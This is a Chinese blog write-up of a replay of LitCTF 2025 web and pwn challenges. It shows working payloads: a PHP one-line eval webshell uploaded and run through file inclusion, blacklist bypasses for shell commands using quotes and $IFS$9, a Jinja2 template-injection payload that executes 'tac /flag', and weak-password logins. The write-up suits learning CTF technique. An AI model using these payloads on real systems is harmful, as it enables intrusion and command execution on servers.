2025LitCTF 复现

发布于:2025-06-05 ⋅ 阅读:(32) ⋅ 点赞:(0)

easy_file

登录界面

尝试admin 和密码1

没成功

结果尝试了弱口令 admin 用户和 password 密码就登录成功了

文件上传

新建一个空的 新建木马.txt 文件发现上传成功

然后写入一句话木马

<?php @eval($_POST['a']); ?>

上传失败

说明可能是有字符被过滤了,猜测是php标签,然后给它换成短标签

<?=@eval($_POST['a']);?>

发现上传成功,把文件名改一下吧,方便后面访问

结果抓包改后缀上传发现php后缀被过滤

尝试了各种后缀都上传失败,返回看有没有提示的时候突然反应过来题目名是 file,所以尝试一下任意文件读取

思路就是利用 file 读取上传的 xjmuma.txt 文件,然后文件就被解析咯,就可以get shell

那就 file=上传的文件(猜测在当前目录下的 uploads/xjmuma.txt 目录)

发现可以查看 php 配置信息,说明木马文件被解析了

但是这样有一个问题,蚁剑是连不上包含的地址的

所以还是只能用system系统执行命令

system('cat f*');

然后一cat就出flag了

test_your_nc

下载附件后是一个无后缀的 pwn 文件

直接用浏览器打开

一个简单的Python脚本,发现代码直接让输入命令,但是有黑名单进行限制(如果包含这些字符串就直接执行 exit(0)退出)

如果通过黑名单检查就执行 os.system(command)

结合题目用 kali nc 连接一下

然后就是用 l's' 替换 ls

c'at' 替换 cat

$IFS$9 替换空格即可 cat flag

nest_js

又是一个登录界面

也不知道是环境出问题了还是怎么,直接同样用弱口令 admin 用户和 password 密码就登录得到flag了

而且flag是对的

星愿信箱

看题目是SSTI模版注入

先随便注一个{{7*7}}

发现过滤了 {{

抓包后发现是Python模版

而 {{}} 被过滤了,说明应该是jinja2模版

所以可以直接试着构造payload

{{}}被过滤了就用 {%   %} 代替

直接用 Flag 框架中的 url_for 函数生成URL,用于访问。__globals__ 返回该对象的全局变量字典

 .os 提供与操作系统交互功能

后面就是popen()函数执行命令了

{% print(url_for.__globals__.os.popen('tac /flag').read()) %}

 

发现 cat 被过滤了

换为 tac

url_for函数可以替换为 lipsum 函数(是模板中定义的一个变量或函数,我也是看wp得知的,还没找到得到该模版的方法)

tac 命令也可以用 nl 搞定 (表示显示 /flag 的内容,并在每行前加上行号(如题为1行))

easy_signin

进来就403,刚开始我还以为环境坏了

用 dirsearch 扫一下看看

发现两个绿的

分别访问一下

第一个 login.html 是一个登录界面

给了用户名在尝试弱口令 password 时提示的是账号错误

但发现用户名是改不了的

先尝试下一个 login.php

一段看不懂的字符,应该是url编码,解码一下

但是找了个在线网站没解出来

只好扔进随波逐流 貌似发现像原字符串

不知道有啥用,访问api

好像是ssrf漏洞,还记得题目知识点涉及到PHP伪协议

那就用伪协议查看一下源码

发现不全,加两个  / 

这么多目录也不知道在哪个下面,但学过web网页开发都知道,一般网页根目录都在 /var/www 或者 /var/www/html 目录下,直接读取

查看源代码

然后有一个 ,,,,,,.php 文件,直接访问居然得到了flag


网站公告

今日签到

点亮在社区的每一天
去签到